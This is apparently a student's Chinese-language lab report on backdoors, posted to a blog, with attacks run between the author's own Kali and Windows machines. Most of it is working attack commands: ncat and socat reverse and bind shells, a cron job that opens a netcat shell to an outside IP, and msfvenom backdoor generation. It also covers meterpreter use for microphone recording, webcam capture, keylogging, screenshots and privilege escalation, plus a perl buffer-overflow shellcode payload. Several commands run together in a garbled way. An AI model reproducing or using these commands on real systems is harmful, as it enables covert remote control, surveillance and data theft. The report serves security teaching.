标签:bof 字符 adl 学习 录音 input 基于 接收 不同
ncat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
192.168.1.104ncat.exe -l -p 5209ncat 192.168.1.104 5209 -e /bin/sh ,-e 选项用于执行shell
sudo 模式下查看本机ip地址为192.168.1.107nc -l -p 5209ncat.exe -e cmd.exe 192.168.1.107 5209
ncat.exe -l 5209 > file2.out 监听5209 端口,将收到的内容存储在file2.out 中5209 端口,nc 192.168.1.104 5209type file2.out 在Windows中查看接收到的内容cat file2.in 在kali中查看发送的内容(这里由于截图问题缺失了一行代码)
5209 端口,ncat.exe -l 52095209 端口,nc 192.168.3.26 5215
? ? ? ?socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。
? ? ? ?socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
? ? ? ?Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
? ? ? ?socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e 使用的编码器,用于对shellcode变形,为了免杀。-i 编码器的迭代次数。如上即使用该编码器编码5次。b badchar是payload中需要去除的字符。LHOST 是反弹回连的IPLPORT 是回连的端口-f 生成文件的类型>?输出到哪个文件有关meterpreter的相关指令和内容较多,更多指令参考老师的课件
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
5209 端口crontab -e 指令便捷定时任务,第一次编辑时选择3在打开的文件最后一行添加11 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh,为了能迅速看到效果,将时间设置为了11分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第11分钟反向连接Windows主机的5209端口。

时间到后,在Windows中可以获取kali的shell,如下图所示(如果使用ls命令出现问题,可以使用比较简单的whoami命令,也能验证)

此电脑 右键选择管理

点击任务计划程序,再点击创建任务

名称 ,接下来建议大家先编辑操作在设置触发器,因为设置触发器默认会选择就近的时间,当编辑完操作后可能已经错过了触发器的设置时间;点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5209 ,同时把cmd.exe的stderr重定向到stdout上;

新建一个触发器,选择按预定计划,(设置其他也可,可自行选择)

创建完成后可以看到任务的状态为准备就绪

到达设置的时间19:31后,可以看到socat已经开始运行

在kali中输入socat - tcp:192.168.1.104:5209 (IP为Windows的IP地址,第一个参数 - 代表标准的输入输出,第二个流连接到Windows主机的5209端口)此时可以发现已经成功获得了一个cmd shell(由于输入dir 指令后内容过多,会覆盖获得shell成功的内容,因此没有输入)

在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5209 -f exe > 20175209_backdoor.exe ,这里的IP地址为控制端kali的IP地址,,在文件管理器中可见已经生成了后门程序“20175209_backdoor.exe”。这里在做的时候遇到了很多的问题,具体参考实验总遇到的问题2。

ncat.exe -lv 5209 > 20175209_backdoor.exe 指令,通过-lv 选项看到当前的连接状态在kali中执行nc 192.168.1.104 5209 < 20175209_backdoor.exe(IP地址为被控主机Windows的IP),传输成功后观察到如下内容:

在相应的文件夹下可以查看到20175209_background.exe

在kali上使用msfconsole指令进入msf控制台

输入use exploit/multi/handler使用监听模块

payloadset payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payloadset LHOST 192.168.1.107(Kali的IP),set LPORT 5209,同样要使用相同的端口show options,查看详细信息

输入exploit,开始监听

20175209_backdoor.exe,运行前应提前关闭杀毒软件的防护此时在kali中已经获得了Windows的shell,输入dir, 可以查看Windows中20175209_backdoor.exe所在目录下的文件信息

使用record_mic 指令可以截获一段音频,使用-d选项设置录制时间,这里我选择设置时长为10s,-d 10

使用webcam_snap 指令可以使用摄像头进行拍照

使用keyscan_start指令记录下击键的过程(需要在Windows中进行任意输入),使用keyscan_dump 指令读取击键记录

使用screenshot 指令可以进行截屏

使用getuid 指令查看当前用户

使用getsystem 指令进行提权操作,参考内容

在shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接(由于无法确保最新版本的会不会存在别的问题,因此选择了和大神们一样的文件)大家在查找时将show设置为120,大概在第二页上部即可找到

根据实验一的学习,我们先通过gdb调试找到shellcode的返回地址0xffffd2d0, 然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的input_shellcode 文件,具体代码如下:
perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode


msfconsole,执行和任务3中同样的指令打开监听 use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 ##在下载的图中有标注相应的IP地址和端口号
show options
exploit
input_shellcode进行注入,执行(cat input_shellcode;cat) | ./pwn1 ,可以看到能够成功运行
crontab 设置定时启动以及捆绑注入netstat 命令查看有无异常开放的端口
输入net -tlnp 命令查看已经开放的端口号,观察到相应的端口已经开启

正在积极寻找下一步解决方案

首先查找到的资料中给出的原因是bundler版本不一致造成的,需要下载旧版本,输入gem install bundler:1.17.3 下载

再查找资料时发现上一个资料里面给出的官方的RUbyGems镜像不再维护了,更换成Ruby China的镜像,终于可以成功了(我真是太难了!!)


? ? ? ?通过本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。
? ? ? ?在本次实验中遇到了很多问题,也花费了大量的时间去查找相关的资料,学习到了一些实验内容之外的东西,我觉得这些在实验过程中也是很有意义的内容,了解了更多meterpreter的知识。
? ? ? ?通过本次自己亲自动手实践我也了解到了后门功能的强大性和危害性,因此对于后门的防范的重要性也不言而喻。
? ? ? ?希望更多掌握这些知识的人能够用其作为维护网络和信息的安全,用来保护国家的安全。
0x21_MAL_后门原理与实践.md
kali虚拟机开启ssh服务
rubygems.org下载时连接间歇性失败
安装bundler最终解决方法
shellcode下载地址
2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
2019-2020-2 20175215丁文韬《网络对抗技术》Exp2 后门原理
Meterpreter学习资料
2019-2020-2 网络对抗技术 20175209 Exp2 后门原理与实践
标签:bof 字符 adl 学习 录音 input 基于 接收 不同
原文地址:https://www.cnblogs.com/wangzihong0213/p/12455317.html